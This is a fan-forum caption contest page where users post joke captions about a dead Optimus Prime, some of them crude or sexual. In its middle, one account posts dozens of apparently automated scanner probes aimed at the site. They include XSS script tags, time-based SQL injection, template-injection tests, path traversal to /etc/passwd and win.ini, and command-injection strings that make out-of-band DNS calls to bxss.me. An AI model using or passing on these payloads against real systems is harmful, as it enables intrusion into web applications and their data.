913 captions have been posted for this image so far ...
ZeldaTheSwordsman writes: Tragically, Optimus Prime passed away from old age while waiting for a winner to be declared for this contest.
ZeldaTheSwordsman writes: "The seller lied! They said this Alternate Universe Optimus Prime was MISB!"
trailbreaker writes: So he WAS lactose intolerant….
Targetmaster Kup writes: So he was Nemesis Prime all along!
XMMslayer86 writes: Even plot armour couldn't save Prime
snavej writes: 'So we're agreed: no more diversity hires! If they'd monitored the shuttle properly, this wouldn't have happened.'
Abominable prime82 writes: vengeance is my appetite and defeat is my death so until we meet this is my last breath.....
Chribagel writes: Head.
snavej writes: Ultra Magnus: Daniel, we just read Skybound #6. We'd like you to climb inside the Matrix.
HardcoreHackney writes: Uh-oh, better call MAACO.
- Back to top -trailbreaker writes: The paint jobs on these knock-offs are horrible.
snavej writes: At that very moment, after holding it in for a long time, they all farted in unison.
snavej writes: Perceptor: I could rebuild him, using the mind of Alexa.
Ultra Magnus: No, Siri or nothing!
snavej writes: He watched an episode of Thundercats, with the superior animation. He died of jealousy.
snavej writes: Hot Rod: So the whole thing was driven by two rats running in wheels that were attached to generators!
Perceptor: That's what you get, living in a cartoon.
trailbreaker writes: Perceptor- “Prime hurry up and die so we can get a new caption !”
Nediablo writes: It is the year 2005 Prime.
You can't do this. It's offensive. You know it's offensive.....
It doesn't matter if Jazz gives you a pass on that word just stop it!!!
What about Magnus?! That's not the same!
snavej writes: Perceptor: Everyone grab a slice now before he goes off.
[Hot Rod uses his circular saw to cut slices.]
Mkdlmr writes: Will this contest never end?
snavej writes: Kup: If we stick a pair of those cheap plastic 'googly eyes' on him, he'll look a bit more alive.
Everyone Else: [Stares at him in disgust]
[Pause]
[Arcee goes to find googly eyes.]
- Back to top -snavej writes: Prime prepares to time travel back to the 1920s for a sensational new appearance in a Buster Keaton flick.
Magnaboss72 writes: Prime: while looking at Hot Rod, "This is all your fault, motherf*****".
snavej writes: Hot Rod: So much death...
Arcee: Prime's gone but hope's not lost.
Hot Rod: No, I mean some of the boards on Seibertron.com have no users left! The horror, the horror!
[Much wailing and gnashing of metal teeth.]
Taylorjason766 writes: Preceptor "Is anyone up for a game of 'operation'", Hot Rod "yeah that's sounds great, I'll go get the tweezers"
snavej writes: Blurr: Weshoulddoasponsoredfunraceinhishonour!
Arcee: Shut the hell up, you speed-obsessed git!
trailbreaker writes: Hot Rod — “oh well, what’s for lunch?”
snavej writes: Hot Rod: You can't die! You have to appear in Earthspark, fighting alongside Megatron!
Prime: Groan! Just let me lie here for five more minutes!
snavej writes: Later, Optimus was rebooted as Kid Traumatiser 3000. It was a refreshing change of pace.
snavej writes: Hot Rod: He's greyed out. What now?
Perceptor: This is a work machine. We should contact IT but they're on leave.
Magnus: Wait, this is 1985!
Kup: We can fix him with chewing gum, rubber bands and panty hose!
snavej writes: Waiting for the next caption picture that never comes.
- Back to top -snavej writes: Perceptor: It's too late!
Blurr: OhnohegotCANCELLED!
Hot Rod: By the wokies!
Kup: Those turbo-grabbing punks couldn't stand his 'Freedom' mantra.
Arcee: We need to kill EVERYONE with coloured hair, especially blue hair.
snavej writes: Hot Rod: Sorry Optimus but the paint shop totally ran out of every colour except luminous green.
Optimus: Oh crap, might as well just die then. [Dies]
trailbreaker writes: Prime - “Happy Halloween!!”
snavej writes: Perceptor: Shit.
Blur: Shit.
Hot Rod: Shit.
Arcee: Shit.
Kup: Shit.
Daniel: Shit.
Ultra Magnus: Language, all of you!
[Arcee kicks him.]
Ultra Magnus: Shit!
snavej writes: Arcee: I can't believe that so many sick ****s are making fun of us!
snavej writes: Daniel: I'd better be getting a super-long vacation after all this shit's over!
Kup: I'll get you into Disneyland. They'll boost your spirits and also woke the heck out of you!
snavej writes: Half of Reddit went members-only in 2023. Prime couldn't handle it and died.
snavej writes: Ultra Magnus: Hot Rod, you were supposed to wind him up at the back EVERY morning, not just when you felt like it!
Hot Rod: My bad, sorry.
Blurr: Don'tforgetIneeddoublewindingbecauseI'mfast!
Convoy12 writes: Wreck-gar in background: We've been trying to reach you about your car's extended warranty!
snavej writes: Perceptor: There's a 70% discount at Dr. Tires Store.
Prime [wakes up]: Oh really?
Perceptor: I knew that would work.
Prime: I also like a crossover with the Big Bang Theory franchise! Dr. Tires is run by Sheldon Cooper's brother George.
- Back to top -snavej writes: Magnus: You know, maybe we should give up this whole Autobot business and go live on an island or something?
Daniel: You effing useless brick! I want revenge!
snavej writes: They decided to 'do a She Hulk' and go talk to the writers' room about all this. Breaking the fourth wall is darned cool!
snavej writes: Hot Rod: My mother's going to kill me!
[Stunned silence from the others.]
ZeldaTheSwordsman writes: "Feels like I've been dying for years..."
DeathReviews writes: "Hurry up and croak so we can get the new toys on shelves!"
trailbreaker writes: “So that’s where he hid the Cheetos…”
snavej writes: Perceptor: So we're all deeply aggrieved. Let's go on Reddit and really b1tch about it!
snavej writes: All the other dead Autobots were thrown in the bin and forgotten.
snavej writes: Hot Rod: What did he mean, 'You're going to fight Sharticons'? That sounds disgusting!
Kup: Death-bed visions can be confusing, lad.
snavej writes: Later, Arcee stole the smoke stacks and carried on 'using' them, as she'd done secretly for a very long time. Nothing satisfies like big, shiny smoke stacks!
- Back to top -snavej writes: They wanted to reboot him but Microsoft had somehow greyed him out, so they couldn't click on anything.
snavej writes: They decided to use the body as a memorial to all the fallen companies and careers that were somehow connected to Transformers.
-Kanrabat- writes: It's been months or even years since I'm dying here... SOMEONE OFF ME ALREADY!
Ig89ninja writes: There... is... another... prime
*dies*
CloudJumper writes: When the breast reduction surgery goes wrong
trailbreaker writes: This happens after listening to “Call Me Maybe” for the 100th time.
Dangerdoll writes: He died for our sins
Simplify writes: Dang it, the color cartridge is out of ink again.
snavej writes: Hot Rod: So, the funeral will be delayed because we have to go and fight some bozoes called 'Sharkticons'.
Perceptor: Typical! And they coloured my left arm wrongly in scene 47 too!
snavej writes: Old Kup called first dibs on his spare parts.
- Back to top -snavej writes: They waited until Thursday and then gave him to the scrap metal dealer, who toured the area in a van every week.
snavej writes: Ultra Magnus: Hot Rod, I have NEVER f**ked a pig!
snavej writes: Since he was known for his magic tricks, they waited too long. The ambulance arrived 37 minutes later.
snavej writes: Someone had switched the Matrix for a rotisserie chicken that revolved slowly and steadily in Prime's chest oven.
snavej writes: He dared to insult Elon Musk, the new owner of Twitter. He paid the price.
snavej writes: Hot Rod: I told you that I found a dead body!
Arcee: Smells really yucky.
Ultra Magnus: Can I poke it with a stick?
snavej writes: Due to a divine clerical error, Prime's spark was taken by the Black Rabbit to dwell with Frith forever. [Reference: Watership Down book/movie]
snavej writes: Optimus: I want my body converted into 2,428 electric food mixers! Just for the hell of it! Hahahahaha...urgh! [Dies.]
snavej writes: Optimus: My final secret is that I loved crushing small animals under my wheels when no one was looking. Hahahahaha...urgh! [Dies.]
snavej writes: Killed by the krazy stories of Kurtzman!
- Back to top -snavej writes: Sadly, with their leader gone the secret sauce recipe was lost forever.
snavej writes: Another casualty of the Satanic Solarium: roasted to death under hot lamps.
snavej writes: Hot Rod: Damned opioids!
OptimusBrat writes: Do you think this is covered under Warranty?
twitchybristles writes: Twitter
optimist-prime writes: Did you try turning him off and on again?
Bumble Bot writes: C'mon, say the line!
snavej writes: Everyone was annoyed that they were having to do a complete reshoot after the disastrous first and second drafts.
Havokh851985 writes: Perceptor: “look Kup, all we’re trying to say is…what if you’re by yourself and your heart stops?”
ZeldaTheSwordsman writes: Watch there still not be any PotP galleries by the time this contest closes
- Back to top -skyshadowprimus writes: Seems Nel Yomtov was correct, some of us dudes in the background really do lose all our colour for no reason.
DeltaSilver88 writes: Ultra Magnus: *is passed the Matrix of Leadership* Er, Optimus, you do know this is just battle armor and my real body is too small to have a chest cavity for this?
Vapor-03 writes: OP: And one more thing...Action..Masters...are not...legit trans..former toys..and never will...beeeeeeeeee *Prime flat lines and dies.
trailbreaker writes: Hey there’s cake inside !!
Hieronimus Prime writes: The prophesied savior of the Autobots, Optimus Prime, shortly after his death surrounded by his Apostles.
RodimusPrimeUkraine1 writes: The deed was done
To SELL MORE TOYS!!!!!!
*cue sleep mode optimus*
warturtle writes: when you find a deadd body in among us
snavej writes: Blurr: Hurryupandopenit!
Kup: What could be inside? I'm guessing gold.
Hot Rod: I'm guessing gold and snakes!
Ultra Magnus: Always showing off, Hot Rod!
Triptykon writes: Do you even function Bro?
aaronmvhardy writes: Way to go Hotrod.
- Back to top --Kanrabat- writes: This "contest" is as still and lifeless as me.
--- Optimus Prime.
snavej writes: It was the best way for Prime to get the condensation off his flat, glassy nipples.
DeathReviews writes: 'Did you try jiggling the handle?'
trailbreaker writes: Let’s file a claim, he’s clearly damaged.
Bikkusu writes: "He had the blues, so we uninstalled them, but it took the reds and whites too."
Raze1134 writes: "Anyone got a USB adapter for an old 80s charger cord???"
snavej writes: Optimus: You ****s are all so ****ing useless!
digitalcheetah writes: You know, I did tell you I was ill!
MeGrimlockFan writes: "Oh sh*t Optimus Prime got COVID-19 and died from it what do we do now?"
DeathReviews writes: "Let's put his hand in a bowl of warm energon!"
- Back to top -snavej writes: They should never have let him appear on that 'Ice Road Truckers' show.
clgendro@hotmail.com writes: There's a small disc behind the matrix. Teletran 1 says it just reads "delete my browsing history"
snavej writes: There was a vital part missing from the robot building kit, so they had to complain to the manufacturers. They received the wrong part and then gave up in disgust.
snavej writes: Despite being informed of the death, local authorities still demanded full tax payment.
raijinald writes: Autobot Autopsy Lesson. By Dr. Percy
snavej writes: It was a bad situation but at least now they could all screw each other without embarrassment.
snavej writes: The shortage of truckers in 2021 got worse...
snavej writes: Killed by Xhat007's lame script.
snavej writes: It crawled out of a giant TV screen when a haunted video clip was played.
Teknoman13 writes: Have you tried turning him off and on, or rebooting him?
- Back to top -snavej writes: Meanwhile, over in 2021, the Seibertron.com staff had all died too, leaving silly old fans to keep posting stuff vainly on the boards.
trailbreaker writes: Chocolate shaped Autobots! Yum!
snavej writes: Sunbow needed to save money. Coloured ink wasn't cheap.
ARO writes: I know Optimus has a heart, but if a Xenomorph comes bursting from his chest, I'm out of here.
doz writes: If only he had been completely torn apart rather than hit in the gut. That we can cure!
Phant writes: See everyone... THIS is why we only scan imports for our transformations.
Phant writes: ...Did someone take the batteries for the remote again?
snavej writes: This is what happens when you don't eat your weeties.
Solipsist writes: Damn it! I am telling you It's NOT COVID!
SpaceEagle writes: Today we will be restoring a vintage Optimus Prime toy-
- Back to top -Tigerhawk7109 writes: Can someone ban the spammer? If anything, he killed Prime.
Mkdlmr writes: [Arnold voice] HE'LL BE BACK. [Cue Terminator theme]
snavej writes: Kup: Now we'll never know where the TV remote went!
Nemesis Maximo writes: “Is it dead?”
snavej writes: Optimus had overtanned but narrowly avoided accusations of blackface.
trailbreaker writes: Damn spam bots!
xhat007 writes: 555
xhat007 writes: 555
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- Back to top -xhat007 writes: 555C7XCS[!+!]
xhat007 writes: 555y6c9Z
PIvh(9893)
xhat007 writes: 555
xhat007 writes: 555}body{acu:Expre/**/SSion(PIvh(9429))}
xhat007 writes: 555
xhat007 writes: ?
xhat007 writes: 555<ScRiPt>PIvh(9771)</sCripT>
xhat007 writes: 555\u003CScRiPt\PIvh(9910)\u003C/sCripT\u003E
xhat007 writes: 555
xhat007 writes: %35%35%35%3C%53%63%52%69%50%74%20%3E%50%49%76%68%289985%29%3C%2F%73%43%72%69%70%54%3E
- Back to top -xhat007 writes: 555
xhat007 writes: 555
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xhat007 writes: 5552VYN4[!+!]
xhat007 writes: 555ismXa
AqNN(9724)
xhat007 writes: 555
- Back to top -xhat007 writes: 555
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xhat007 writes: 555
xhat007 writes: 555}body{acu:Expre/**/SSion(AqNN(9620))}
xhat007 writes: 555PIvh(9749)
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 555PIvh(9678)
xhat007 writes: ?
xhat007 writes: 555PIvh(9821)
- Back to top -xhat007 writes: 555PIvh(9389)
xhat007 writes: 555<ScRiPt>AqNN(9510)</sCripT>
xhat007 writes: 555H8JOI[!+!]
xhat007 writes: 555\u003CScRiPt\AqNN(9665)\u003C/sCripT\u003E
xhat007 writes: %35%35%35%3C%53%63%52%69%50%74%20%3E%41%71%4E%4E%289317%29%3C%2F%73%43%72%69%70%54%3E
xhat007 writes: 555PIvh(9388)
xhat007 writes: "acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
xhat007 writes: 555
xhat007 writes: acx__${98991*97996}__::.x
xhat007 writes: 555
- Back to top -xhat007 writes: acx[[${98991*97996}]]xca
xhat007 writes: acx{{98991*97996}}xca
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 1}}"}}'}}1%>"%>'%>
xhat007 writes: 555
xhat007 writes: 555
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xhat007 writes: 555
- Back to top -xhat007 writes: acux10462??z1??z2a?bcxuca10462
xhat007 writes: 555
xhat007 writes: 555AqNN(9143)
xhat007 writes: 555
xhat007 writes: acu1595?s1?s2?s3?uca1595
xhat007 writes: 555AqNN(9979)
xhat007 writes: 5559655628
xhat007 writes: 555AqNN(9070)
xhat007 writes: '"()&%PIvh(9509)
xhat007 writes: 555'"()&%PIvh(9845)
- Back to top -xhat007 writes: 555AqNN(9622)
xhat007 writes: 555V13OE[!+!]
xhat007 writes: 555AqNN(9911)
xhat007 writes: "acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
xhat007 writes: acx__${98991*97996}__::.x
xhat007 writes: acx[[${98991*97996}]]xca
xhat007 writes: acx{{98991*97996}}xca
xhat007 writes: 555
xhat007 writes: 1}}"}}'}}1%>"%>'%>
xhat007 writes: 555
- Back to top -xhat007 writes: 555
xhat007 writes: acux10675??z1??z2a?bcxuca10675
xhat007 writes: acu3588?s1?s2?s3?uca3588
xhat007 writes: 5559456420
xhat007 writes: '"()&%AqNN(9914)
xhat007 writes: 555'"()&%AqNN(9434)
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 555
- Back to top -xhat007 writes: 555YWJTT[!+!]
xhat007 writes: 55583Nwf
qOe0(9912)
xhat007 writes: 555
xhat007 writes: 555}body{acu:Expre/**/SSion(qOe0(9082))}
xhat007 writes: 555
xhat007 writes: ?
xhat007 writes: 555<ScRiPt>qOe0(9465)</sCripT>
xhat007 writes: 555\u003CScRiPt\qOe0(9871)\u003C/sCripT\u003E
xhat007 writes: %35%35%35%3C%53%63%52%69%50%74%20%3E%71%4F%65%30%289151%29%3C%2F%73%43%72%69%70%54%3E
xhat007 writes: 555
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xhat007 writes: 555qOe0(9174)
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xhat007 writes: 555qOe0(9420)
xhat007 writes: 555qOe0(9433)
- Back to top -xhat007 writes: 555qOe0(9071)
xhat007 writes: 555YNJND[!+!]
xhat007 writes: 555qOe0(9887)
xhat007 writes: "acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
xhat007 writes: acx__${98991*97996}__::.x
xhat007 writes: acx[[${98991*97996}]]xca
xhat007 writes: acx{{98991*97996}}xca
xhat007 writes: 555
xhat007 writes: 1}}"}}'}}1%>"%>'%>
xhat007 writes: 555
- Back to top -xhat007 writes: 555
xhat007 writes: acux10557??z1??z2a?bcxuca10557
xhat007 writes: acu9108?s1?s2?s3?uca9108
xhat007 writes: 5559568862
xhat007 writes: '"()&%qOe0(9019)
xhat007 writes: 555'"()&%qOe0(9495)
xhat007 writes: 555
xhat007 writes: 555
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- Back to top -xhat007 writes: 555
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xhat007 writes: 555
xhat007 writes: @@x39s4
xhat007 writes: 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- Back to top -xhat007 writes: 1'"
xhat007 writes: 1????%2527%2522
xhat007 writes: 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
xhat007 writes: BXripJEg')) OR 948=(SELECT 948 FROM PG_SLEEP(15))--
xhat007 writes: 7UhEE76W') OR 200=(SELECT 200 FROM PG_SLEEP(15))--
xhat007 writes: CtF2Jq4z' OR 923=(SELECT 923 FROM PG_SLEEP(15))--
xhat007 writes: -1)) OR 22=(SELECT 22 FROM PG_SLEEP(15))--
xhat007 writes: -5) OR 858=(SELECT 858 FROM PG_SLEEP(15))--
xhat007 writes: -5 OR 851=(SELECT 851 FROM PG_SLEEP(15))--
xhat007 writes: 555
- Back to top -xhat007 writes: 9PXVNblT'; waitfor delay '0:0:15' --
xhat007 writes: 555
xhat007 writes: 1 waitfor delay '0:0:15' --
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: -1); waitfor delay '0:0:15' --
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: -1; waitfor delay '0:0:15' --
- Back to top -xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 555YDEK5[!+!]
xhat007 writes: 555W5u5A
ls31(9787)
- Back to top -xhat007 writes: 555
xhat007 writes: 555}body{acu:Expre/**/SSion(ls31(9059))}
xhat007 writes: ?
xhat007 writes: 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
xhat007 writes: 555
xhat007 writes: 555<ScRiPt>ls31(9902)</sCripT>
xhat007 writes: %35%35%35%3C%53%63%52%69%50%74%20%3E%6C%73%33%31%289293%29%3C%2F%73%43%72%69%70%54%3E
xhat007 writes: 555\u003CScRiPt\ls31(9969)\u003C/sCripT\u003E
xhat007 writes: 555
xhat007 writes: if(now()=sysdate(),sleep(15),0)
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xhat007 writes: 555
xhat007 writes: -1" OR 2+587-587-1=0+0+0+1 --
xhat007 writes: 555
xhat007 writes: -1' OR 2+807-807-1=0+0+0+1 --
xhat007 writes: 555
xhat007 writes: -1' OR 2+436-436-1=0+0+0+1 or 'TArAtpqJ'='
xhat007 writes: 555
xhat007 writes: -1 OR 2+227-227-1=0+0+0+1 --
xhat007 writes: -1 OR 2+567-567-1=0+0+0+1
- Back to top -xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 555ls31(9115)
xhat007 writes: 555
xhat007 writes: 555ls31(9152)
xhat007 writes: 555ls31(9151)
xhat007 writes: 555
xhat007 writes: 555ls31(9068)
xhat007 writes: 555MWQZB[!+!]
xhat007 writes: 555ls31(9430)
- Back to top -xhat007 writes: "acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
xhat007 writes: acx__${98991*97996}__::.x
xhat007 writes: 555
xhat007 writes: acx[[${98991*97996}]]xca
xhat007 writes: acx{{98991*97996}}xca
xhat007 writes: 555
xhat007 writes: acx{{'abcd'.toUpperCase()}}xca
xhat007 writes: 555
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xhat007 writes: AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA
- Back to top -xhat007 writes: acx#{xca}=123
xhat007 writes: #{98991*97996*98991*97996}
xhat007 writes: acx{{{this}}}xca
xhat007 writes: 555
xhat007 writes: acx{@math key=98991 method="multiply" operand=97996/}xca
xhat007 writes: 98991*97996*98991*97996
xhat007 writes: 555
xhat007 writes: print("acx" . 98991*97996 . "xca");
xhat007 writes: acx{{"abc"|title}}xca
xhat007 writes: acx#set($x=98991*97996)${x}xca
- Back to top -xhat007 writes: 555
xhat007 writes: acxxca
xhat007 writes: acx@(98991*97996)xca
xhat007 writes: acx{{=98991*97996}}xca
xhat007 writes: acx{@98991*97996}xca
xhat007 writes: 555
xhat007 writes: acx{#98991*97996}xca
xhat007 writes: 555
xhat007 writes: acx#{98991*97996}xca
xhat007 writes: acx${98991*97996}xca
- Back to top -xhat007 writes: acx{98991*97996}xca
xhat007 writes: acx{{98991*97996}}xca
xhat007 writes: acx{{98991*97996}}xca
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: acux9615??z1??z2a?bcxuca9615
xhat007 writes: acu1734?s1?s2?s3?uca1734
xhat007 writes: 555
xhat007 writes: 555
xhat007 writes: 5559805192
- Back to top -xhat007 writes: 555
xhat007 writes: '"()&%ls31(9591)
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xhat007 writes: 555'"()&%ls31(9920)
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- Back to top -xhat007 writes: 555
xhat007 writes: '+'A'.concat(70-3).concat(22*4).concat(121).concat(86).concat(107).concat(77)+(require'socket'
Socket.gethostbyname('hitkb'+'htawadci1fe1d.bxss.me.')[3].to_s)+'
xhat007 writes: 555
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xhat007 writes: index.php/.
xhat007 writes: "+"A".concat(70-3).concat(22*4).concat(118).concat(81).concat(108).concat(74)+(require"socket"
Socket.gethostbyname("hittc"+"jmjivqnt1800e.bxss.me.")[3].to_s)+"
xhat007 writes: '"
xhat007 writes: '.print(md5(31337)).'
xhat007 writes: 555
xhat007 writes: index.php
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xhat007 writes: ${@print(md5(31337))}
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xhat007 writes: index.php
xhat007 writes: /xfs.bxss.me
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xhat007 writes: ${@print(md5(31337))}\
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xhat007 writes: )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
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- Back to top -xhat007 writes: 555
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xhat007 writes: ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
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- Back to top -xhat007 writes: ".gethostbyname(lc("hitzs"."vkbyyheh81684.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(83).chr(117).chr(90)."
xhat007 writes: HttP://bxss.me/t/xss.html?%00
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- Back to top -xhat007 writes: 555
xhat007 writes: '.gethostbyname(lc('hitfs'.'bporfbbfa1c32.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(78).chr(108).chr(69).'
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xhat007 writes: bxss.me
- Back to top -xhat007 writes: http://bxss.me/t/fit.txt?.jpg
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xhat007 writes: http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
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xhat007 writes: Http://bxss.me/t/fit.txt
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- Back to top -xhat007 writes: `(nslookup hitynfmklnvoc21418.bxss.me||perl -e "gethostbyname('hitynfmklnvoc21418.bxss.me')")`
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xhat007 writes: ../../../../../../../../../../../../../../windows/win.ini
- Back to top -xhat007 writes: |echo ahqskf$()\ ghzjfs\nz^xyu||a #' |echo ahqskf$()\ ghzjfs\nz^xyu||a #|" |echo ahqskf$()\ ghzjfs\nz^xyu||a #
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xhat007 writes: ../../../../../../../../../../../../../../etc/passwd
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xhat007 writes: echo jssjqs$()\ gpeeis\nz^xyu||a #' &echo jssjqs$()\ gpeeis\nz^xyu||a #|" &echo jssjqs$()\ gpeeis\nz^xyu||a #
xhat007 writes: "+response.write(9328852*9074199)+"
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Ig89ninja writes: They're looking upon the current state of the Ultimate Caption Contest.
Arrick94 writes: It's as I feared. His ink cartridge is empty. It'll be cheaper to buy a new Prime than to buy a new cartridge.
trailbreaker writes: List him with “slight play wear” on EBAY.
- Back to top -Tigerhawk7109 writes: It was time for First Aid to leave, he had seen everything.
Blastback writes: Optimus is as dead as this contest!
futurevoiceactor writes: "Death is but a door; time is but a window, I'll be back."
thunderstorm5000 writes: Blurr: ohmygoodnesphmygoodnesssomebodybettergogetsomeprimerandcolorpaintcauseOptimusjustrustedrustedrusted!!!!!
thunderstorm5000 writes: Arcee: I know why Optimus is this color. HOT ROD, Did you FART?!?
thunderstorm5000 writes: Ultra Magnus: Man I told him not to eat those energon maccadam fishcons....
trailbreaker writes: A night of Clue goes horribly wrong ...
MeGrimlockFan writes: Ultra Magnus: Its om guys Dr. Strange saw the future and told me Optimus Prime comes back at the end of Season 3
Solipsist writes: KUP: I told Prime not to mix Red Bull and Fireball .
snavej writes: Hot Rod regretted telling Op that a fish up the tailpipe was healthy.
- Back to top -trailbreaker writes: That’s a really creepy jack-in-the-box.
hausjam writes: He's going to a better place; in the 1950's before color television.
snavej writes: At least four of them had weird boners at this moment.
THE_Fallen_Megatron writes: "He's gotta be faking it...right?"
THE_Fallen_Megatron writes: Kup: "So...who do you bet is gonna die next?"
THE_Fallen_Megatron writes: "Bumblebee's not going to be happy about this."
THE_Fallen_Megatron writes: "Maybe Ratchet can bring him back. Oh, wait! He's dead, too."
THE_Fallen_Megatron writes: "Great. We just scarred kids for life."
THE_Fallen_Megatron writes: "So...who gets his trailer?"
trailbreaker writes: “Who gets his Game Stop stock ?”
- Back to top -snavej writes: Perceptor: Someone put fifty gallons of diesel into his leg tanks.
Kup: Arcee, did you...?
Arcee: What kind of fembot do you think I am?
Hot Rod: Slightly airheaded, often distracted.
Arcee (realises her mistake, mutters): Daaaammmmnnn!
snavej writes: 'Alright, who backfired?!'
snavej writes: With OP dead, UM ineffective and RP lame, the meek and modest Snavejimus Prime rose to the challenge. :-D
snavej writes: 'Touch the Truck' competition: Hot Rod was about to win!
snavej writes: At this point, they handed over control of the investigation to Scooby Doo and his gang.
snavej writes: The unholy beginning of Zombimus Prime...
snavej writes: I think he's a refugee from the days of black and white movies!
snavej writes: After the funeral, they all had to go and live with Uncle Jim and Aunt Mildred in Saskatchewan.
snavej writes: Back in the late 1970s, Prime auditioned for the role of weird alien corpse in the movie Alien.
snavej writes: Hot Rod: I'm taking his laser rifle.
Arcee: I want the energon axe.
Kup: No one's getting anything until probate's finished.
Magnus: Who's the lawyer?
Kup: Mr. G. Alvatron & Sweeps.
- Back to top -snavej writes: Kup: You're the next target, Magnus.
Magnus: No, I'm escaping. I just got a new job delivering Toyotas to the Mid West. Good little trucks.
snavej writes: The 'Casper the Friendly Ghost' crossover was off to a good start.
snavej writes: They reused his body as an old-style juke box.
snavej writes: One of Hot Rod's fish got lodged in his tailpipe. He suffered a fatal internal Baysplosion.
snavej writes: Too late, they discovered that he'd been running on Huawei, Windows 7 and Flash Player.
snavej writes: Some Klingons showed up out of nowhere and then everyone did the death howl.
snavej writes: Perceptor: Subsequent analysis shows that there was maple syrup in the fuel tank.
Magnus: Those frakking Canadian baskets! Let's get them!
snavej writes: After he slipped away, the corpse began farting horrendously. Daniel didn't stand a chance.
snavej writes: They knew they were doomed when they only found a magic eight ball in there.
snavej writes: He was teaching them the secrets of camouflage. They weren't learning very quickly.
- Back to top -snavej writes: Everything would be alright in the morning because it was GROUNDHOG DAY!
snavej writes: He was worrying the livestock so the farmer had to shoot him.
snavej writes: He was worrying the livestock so the farmer had to shoot him.
snavej writes: He was worrying the livestock so the farmer had to shoot him.
snavej writes: Perceptor: Do you ever get the feeling you're being watched? Maybe those human 'fans' have tapped into our camera feeds again.
Hot Rod: Later dude. I have to get some scratches buffed out.
snavej writes: Perceptor: Do you ever get the feeling you're being watched? Maybe those human 'fans' have tapped into our camera feeds again.
Hot Rod: Later dude. I have to get some scratches buffed out.
TOO MUCH ENERGON! writes: I Uh, guess we should’ve turned off the tanning bed, huh?
snavej writes: It was all a huge prank involving a lot of play-acting and a tin of special paint.
snavej writes: They resurrected him briefly by switching him to Spanish mode. [The makers of Buzz Lightyear sued.]
snavej writes: The batteries were flat and the stores were closed so play time was over until tomorrow.
- Back to top -snavej writes: Hot Rod: Time to settle that bet, Percy. He didn't survive.
Perceptor: You rigged the fight!
Arcee: That's it, we're through! I'm taking Danny and joining the Decepticons. I'll sue for child support.
snavej writes: Perceptor: I told you he wasn't a Jedi. He didn't disappear after death.
BIGGUY007 writes: You may know me as Optimus Prime the Red & Blue, but I am Optimus Prime the Gray.
snavej writes: They put him in a John Travolta disco position and installed him on a rotating platform at the Museum of Fads and Crazes.
snavej writes: Longest lie-in EVER!
snavej writes: Longest lie-in EVER!
snavej writes: Longest lie-in EVER!
snavej writes: They were all secretly thinking about Surströmming, the canned herring with the disgusting smell. It was somehow popular in Sweden.
snavej writes: They weren't entertained. His Prince impression looked just like his David Bowie impression.
snavej writes: On the outside, Hot Rod was sad. On the inside, he was ecstatic. He wanted to laugh but didn't dare. Instead, he started the Ultimate Caption Competition as a place for all the jokes!
- Back to top -snavej writes: The Heimlich manoeuvre didn't work because of his face plate!
snavej writes: The Transformer Civil War started as a petty dispute over a driveway that was shared between Optimus and Megatron.
snavej writes: Hot Rod: This isn't fair! It was only a flesh wound!
Kup: Don't learn all your lessons from other movies, kid!
snavej writes: The worst thing was that he hadn't finished his Pokemon collection. In fact, he hadn't even started it. Pokemon hadn't been invented yet.
snavej writes: It was so sad that they all formed a country and western band. They toured the galaxy, making trillions of other people very sad as well.
snavej writes: There were so many tears that Magnus had to remove his head and use the extra head inside. [See original G1 toy.]
snavej writes: After the battle, Perceptor cleaned up part of the base with the vacuum cleaner that he kept in his groin. [Credit to Kryten the robot, Red Dwarf comedy show.]
snavej writes: After all that happened in this tumultuous time, no one found out why Magnus NEVER used his missiles! What was the deal with that? Was he saving them for Bilbo Baggins' 111th Birthday Party?!
snavej writes: Hot Rod: Prime, are you only doing this for the money?
Optimus: I wanna be richer than Tony Stark or his lookalike Robert Downey Jr.!
snavej writes: Movie partly made by Sunbow. How is it pronounced? BOW and arrow? BOW low to the King? We wonder about such things if we don't care about the movie, like a lot of parents in the cinema.
- Back to top -snavej writes: Magnus: By Grabthar's hammer, you shall be AVENGED!
Ghost of Alan Rickman: Please pay royalties to my estate and my studio, you metal monstrosity!
snavej writes: This was not a good time for Hot Rod to get out his spinny blade hand but he did it anyway. It was fun, so Arcee showed everyone the spinny blade that came out of her foo-foo.
snavej writes: Best Lego set EVER! None of those distracting, bright colours; just pure, brick-on-brick action.
snavej writes: War, HUNH! Good God yawl. What is it good for?
Actually, it's quite entertaining: assuming, of course, that one is not affected directly.
snavej writes: This was a great opportunity for an impromptu Witches' Sabbat.
snavej writes: Kup: We always told him not to touch the power lines but he didn't listen.
Magnus: He was too busy giving a speech about truth and freedom. Silly old mech.
snavej writes: And all this happened because the unbeatable Metroplex was on vacation.
snavej writes: This would later inspire REM to write 'Everybody Hurts'. (1992)
snavej writes: As they were enjoying the pathos, an army of Decepticon drones was steadily shredding the rest of the world. [Ooh, bleak!}
